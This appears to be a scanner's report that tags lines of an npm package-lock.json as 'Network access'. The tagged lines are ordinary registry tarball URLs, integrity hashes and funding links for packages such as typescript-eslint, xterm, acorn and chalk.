"version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.71.0.tgz", "integrity": "sha512-i8uO1qbdxeKgRnS5sCRt6On3/nfo2d2DwQe3Yvjx543zLy7r8ySqRuPPiIIXAhS03U0v5NfAFx+rUgxFzKKwNw==", - Network accessline 1679
"resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.71.0.tgz", - Network accessline 1693
"funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - Network accessline 1694
"type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, - Network accessline 1695
"url": "https://opencollective.com/typescript-eslint" - Network accessline 1702
"node_modules/@typescript-eslint/types": { "version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.71.0.tgz", - Network accessline 1703
"version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.71.0.tgz", "integrity": "sha512-cJ4OoxPGWvFnBTnSZyaU+qJzGTqPTGJY+gDchj6cRyLRdmIdt4rcsE4twj+zPfrNiWuVi38wijHzShL++Z9atQ==", - Network accessline 1704
"resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.71.0.tgz", - Network accessline 1711
"funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - Network accessline 1712
"type": "opencollective", "url": "https://opencollective.com/typescript-eslint" } - Network accessline 1713
"url": "https://opencollective.com/typescript-eslint" - Network accessline 1716
"node_modules/@typescript-eslint/typescript-estree": { "version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.71.0.tgz", - Network accessline 1717
"version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.71.0.tgz", "integrity": "sha512-PEEF4G5sLLWAS5BpPrUvms4ySZkiBQQZM4z+3ReI46axK5Vqr/vXBQatJQIZZOYdGyPUAKTtsrWz - Network accessline 1718
"resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.71.0.tgz", - Network accessline 1736
"funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - Network accessline 1737
"type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, - Network accessline 1738
"url": "https://opencollective.com/typescript-eslint" - Network accessline 1744
"node_modules/@typescript-eslint/typescript-estree/node_modules/balanced-match": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - Network accessline 1745
"version": "4.0.4", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", - Network accessline 1746
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - Network accessline 1754
"node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { "version": "5.0.12", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz", - Network accessline 1755
"version": "5.0.12", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz", "integrity": "sha512-YovQ3rzhaLMIrDjNDMkNS01tea93qhEhG5xy8f6+R0l+dw3Ki+5sCoIoI942iuLZTHWogWktgwVDhU09iNEimQ==", - Network accessline 1756
"resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz", - Network accessline 1767
"node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { "version": "10.2.6", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz", - Network accessline 1768
"version": "10.2.6", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz", "integrity": "sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==", - Network accessline 1769
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz", - Network accessline 1778
}, "funding": { "url": "https://github.com/sponsors/isaacs" - Network accessline 1779
"funding": { "url": "https://github.com/sponsors/isaacs" } - Network accessline 1780
"url": "https://github.com/sponsors/isaacs" - Network accessline 1783
"node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { "version": "7.8.5", "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", - Network accessline 1784
"version": "7.8.5", "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", - Network accessline 1785
"resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", - Network accessline 1796
"node_modules/@typescript-eslint/utils": { "version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.71.0.tgz", - Network accessline 1797
"version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.71.0.tgz", "integrity": "sha512-pKR/tEMVrXZG23UFKUn5BQf3zfmfk7KQceI2cGzywZ5nxM5Eu3hEJU1utjWzydtzBbcJAQhHN8iPCxobHpPcZQ==", - Network accessline 1798
"resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.71.0.tgz", - Network accessline 1811
"funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - Network accessline 1812
"type": "opencollective", "url": "https://opencollective.com/typescript-eslint" }, - Network accessline 1813
"url": "https://opencollective.com/typescript-eslint" - Network accessline 1820
"node_modules/@typescript-eslint/visitor-keys": { "version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.71.0.tgz", - Network accessline 1821
"version": "8.71.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.71.0.tgz", "integrity": "sha512-8eQ9R218XORK+KLosnf4bu/QsUXvUyVwTbArg7/0NMB1Pu87OJKvj4nhFblkYE8gQV73mW1dx1ptlPCkwRGa7A - Network accessline 1822
"resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.71.0.tgz", - Network accessline 1833
"funding": { "type": "opencollective", "url": "https://opencollective.com/typescript-eslint" - Network accessline 1834
"type": "opencollective", "url": "https://opencollective.com/typescript-eslint" } - Network accessline 1835
"url": "https://opencollective.com/typescript-eslint" - Network accessline 1838
"node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", - Network accessline 1839
"version": "5.0.1", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", - Network accessline 1840
"resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", - Network accessline 1846
}, "funding": { "url": "https://opencollective.com/eslint" - Network accessline 1847
"funding": { "url": "https://opencollective.com/eslint" } - Network accessline 1848
"url": "https://opencollective.com/eslint" - Network accessline 1851
"node_modules/@vitejs/plugin-react": { "version": "4.7.0", "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz", - Network accessline 1852
"version": "4.7.0", "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz", "integrity": "sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==", - Network accessline 1853
"resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.7.0.tgz", - Network accessline 1872
"node_modules/@xterm/addon-fit": { "version": "0.11.0", "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz", - Network accessline 1873
"version": "0.11.0", "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz", "integrity": "sha512-jYcgT6xtVYhnhgxh3QgYDnnNMYTcf8ElbxxFzX0IZo+vabQqSPAjC3c1wJrKB5E19VwQei89QCiZZP86DCPF7g==", - Network accessline 1874
"resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz", - Network accessline 1878
"node_modules/@xterm/addon-web-links": { "version": "0.12.0", "resolved": "https://registry.npmjs.org/@xterm/addon-web-links/-/addon-web-links-0.12.0.tgz", - Network accessline 1879
"version": "0.12.0", "resolved": "https://registry.npmjs.org/@xterm/addon-web-links/-/addon-web-links-0.12.0.tgz", "integrity": "sha512-4Smom3RPyVp7ZMYOYDoC/9eGJJJqYhnPLGGqJ6wOBfB8VxPViJNSKdgRYb8NpaM6YSelEKbA2SStD7lGyqaobw==", - Network accessline 1880
"resolved": "https://registry.npmjs.org/@xterm/addon-web-links/-/addon-web-links-0.12.0.tgz", - Network accessline 1884
"node_modules/@xterm/xterm": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz", - Network accessline 1885
"version": "6.0.0", "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz", "integrity": "sha512-TQwDdQGtwwDt+2cgKDLn0IRaSxYu1tSUjgKarSDkUM0ZNiSRXFpjxEsvc/Zgc5kq5omJ+V0a8/kIM2WD3sMOYg==", - Network accessline 1886
"resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz", - Network accessline 1893
"node_modules/acorn": { "version": "8.16.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", - Network accessline 1894
"version": "8.16.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==", - Network accessline 1895
"resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", - Network accessline 1906
"node_modules/acorn-jsx": { "version": "5.3.2", "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", - Network accessline 1907
"version": "5.3.2", "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", - Network accessline 1908
"resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", - Network accessline 1916
"node_modules/ajv": { "version": "6.14.0", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", - Network accessline 1917
"version": "6.14.0", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", - Network accessline 1918
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", - Network accessline 1928
"funding": { "type": "github", "url": "https://github.com/sponsors/epoberezkin" - Network accessline 1929
"type": "github", "url": "https://github.com/sponsors/epoberezkin" } - Network accessline 1930
"url": "https://github.com/sponsors/epoberezkin" - Network accessline 1933
"node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - Network accessline 1934
"version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - Network accessline 1935
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - Network accessline 1944
}, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" - Network accessline 1945
"funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } - Network accessline 1946
"url": "https://github.com/chalk/ansi-styles?sponsor=1" - Network accessline 1949
"node_modules/any-promise": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", - Network accessline 1950
"version": "1.3.0", "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", - Network accessline 1951
"resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", - Network accessline 1956
"node_modules/anymatch": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", - Network accessline 1957
"version": "3.1.3", "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", - Network accessline 1958
"resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", - Network accessline 1970
"node_modules/arg": { "version": "5.0.2", "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", - Network accessline 1971
"version": "5.0.2", "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", - Network accessline 1972
"resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", - Network accessline 1977
"node_modules/argparse": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - Network accessline 1978
"version": "2.0.1", "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - Network accessline 1979
"resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - Network accessline 1984
"node_modules/autoprefixer": { "version": "10.6.1", "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.6.1.tgz", - Network accessline 1985
"version": "10.6.1", "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.6.1.tgz", "integrity": "sha512-cL1Qz6ADZhcEbny/8HPfe99J6HhNoYtpX2LFLIbhgGE7Q1hlQVkYFdetDN7Id3KiQxhDrHwzlHr/YQCnZ8+xSA==", - Network accessline 1986
"resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.6.1.tgz", - Network accessline 1990
{ "type": "opencollective", "url": "https://opencollective.com/postcss/" - Network accessline 1991
"type": "opencollective", "url": "https://opencollective.com/postcss/" }, - Network accessline 1992
"url": "https://opencollective.com/postcss/" - Network accessline 1994
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/autoprefixer" - Network accessline 1995
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/autoprefixer" }, - Network accessline 1996
"url": "https://tidelift.com/funding/github/npm/autoprefixer" - Network accessline 1998
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 1999
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 2000
"url": "https://github.com/sponsors/ai" - Network accessline 2021
"node_modules/balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - Network accessline 2022
"version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - Network accessline 2023
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - Network accessline 2028
"node_modules/baseline-browser-mapping": { "version": "2.11.26", "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.11.26.tgz", - Network accessline 2029
"version": "2.11.26", "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.11.26.tgz", "integrity": "sha512-GLQdD3y6UF8iVuMJl5fHgE4jdn/ua7n+toKfLgNlg3BqQtOZjpy68T8Tup8/wGWZCDlm7KMg7tPb4MP - Network accessline 2030
"resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.11.26.tgz", - Network accessline 2041
"node_modules/binary-extensions": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", - Network accessline 2042
"version": "2.3.0", "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", - Network accessline 2043
"resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", - Network accessline 2049
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 2050
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 2051
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 2054
"node_modules/brace-expansion": { "version": "1.1.12", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - Network accessline 2055
"version": "1.1.12", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", - Network accessline 2056
"resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - Network accessline 2065
"node_modules/braces": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - Network accessline 2066
"version": "3.0.3", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", - Network accessline 2067
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - Network accessline 2078
"node_modules/browserslist": { "version": "4.29.2", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.29.2.tgz", - Network accessline 2079
"version": "4.29.2", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.29.2.tgz", "integrity": "sha512-/u9r8k8ue4ZhHCw9ovDtltpWdXeXzjhdxCGj6vm1RGLPXb8lu33EMdoCHF5Sx8oYBS+Q/FYYNmAqlHncxR3RmA==", - Network accessline 2080
"resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.29.2.tgz", - Network accessline 2084
{ "type": "opencollective", "url": "https://opencollective.com/browserslist" - Network accessline 2085
"type": "opencollective", "url": "https://opencollective.com/browserslist" }, - Network accessline 2086
"url": "https://opencollective.com/browserslist" - Network accessline 2088
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 2089
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" }, - Network accessline 2090
"url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 2092
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 2093
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 2094
"url": "https://github.com/sponsors/ai" - Network accessline 2112
"node_modules/callsites": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - Network accessline 2113
"version": "3.1.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", - Network accessline 2114
"resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - Network accessline 2122
"node_modules/camelcase-css": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", - Network accessline 2123
"version": "2.0.1", "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", - Network accessline 2124
"resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", - Network accessline 2132
"node_modules/caniuse-lite": { "version": "1.0.30001813", "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001813.tgz", - Network accessline 2133
"version": "1.0.30001813", "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001813.tgz", "integrity": "sha512-zfjJo4rM0+fUomGDBW/xcDjhIwz/210DGvip2MAMDZ8KHcRPnOHmEgHPZP0UHlZoxr8fYKVJOqcORhYQcG4FKQ==", - Network accessline 2134
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001813.tgz", - Network accessline 2138
{ "type": "opencollective", "url": "https://opencollective.com/browserslist" - Network accessline 2139
"type": "opencollective", "url": "https://opencollective.com/browserslist" }, - Network accessline 2140
"url": "https://opencollective.com/browserslist" - Network accessline 2142
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - Network accessline 2143
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/caniuse-lite" }, - Network accessline 2144
"url": "https://tidelift.com/funding/github/npm/caniuse-lite" - Network accessline 2146
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 2147
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 2148
"url": "https://github.com/sponsors/ai" - Network accessline 2153
"node_modules/chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - Network accessline 2154
"version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - Network accessline 2155
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - Network accessline 2165
}, "funding": { "url": "https://github.com/chalk/chalk?sponsor=1" - Network accessline 2166
"funding": { "url": "https://github.com/chalk/chalk?sponsor=1" } - Network accessline 2167
"url": "https://github.com/chalk/chalk?sponsor=1" - Network accessline 2170
"node_modules/chokidar": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", - Network accessline 2171
"version": "3.6.0", "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", - Network accessline 2172
"resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", - Network accessline 2187
}, "funding": { "url": "https://paulmillr.com/funding/" - Network accessline 2188
"funding": { "url": "https://paulmillr.com/funding/" }, - Network accessline 2189
"url": "https://paulmillr.com/funding/" - Network accessline 2195
"node_modules/chokidar/node_modules/glob-parent": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - Network accessline 2196
"version": "5.1.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - Network accessline 2197
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - Network accessline 2208
"node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - Network accessline 2209
"version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - Network accessline 2210
"resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - Network accessline 2221
"node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - Network accessline 2222
"version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - Network accessline 2223
"resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - Network accessline 2228
"node_modules/commander": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", - Network accessline 2229
"version": "4.1.1", "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", - Network accessline 2230
"resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", - Network accessline 2238
"node_modules/concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - Network accessline 2239
"version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - Network accessline 2240
"resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - Network accessline 2245
"node_modules/convert-source-map": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - Network accessline 2246
"version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", - Network accessline 2247
"resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - Network accessline 2252
"node_modules/cookie": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", - Network accessline 2253
"version": "1.1.1", "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", - Network accessline 2254
"resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", - Network accessline 2260
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 2261
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 2262
"url": "https://opencollective.com/express" - Network accessline 2265
"node_modules/cross-spawn": { "version": "7.0.6", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - Network accessline 2266
"version": "7.0.6", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - Network accessline 2267
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - Network accessline 2280
"node_modules/cssesc": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", - Network accessline 2281
"version": "3.0.0", "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", - Network accessline 2282
"resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", - Network accessline 2293
"node_modules/csstype": { "version": "3.2.3", "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", - Network accessline 2294
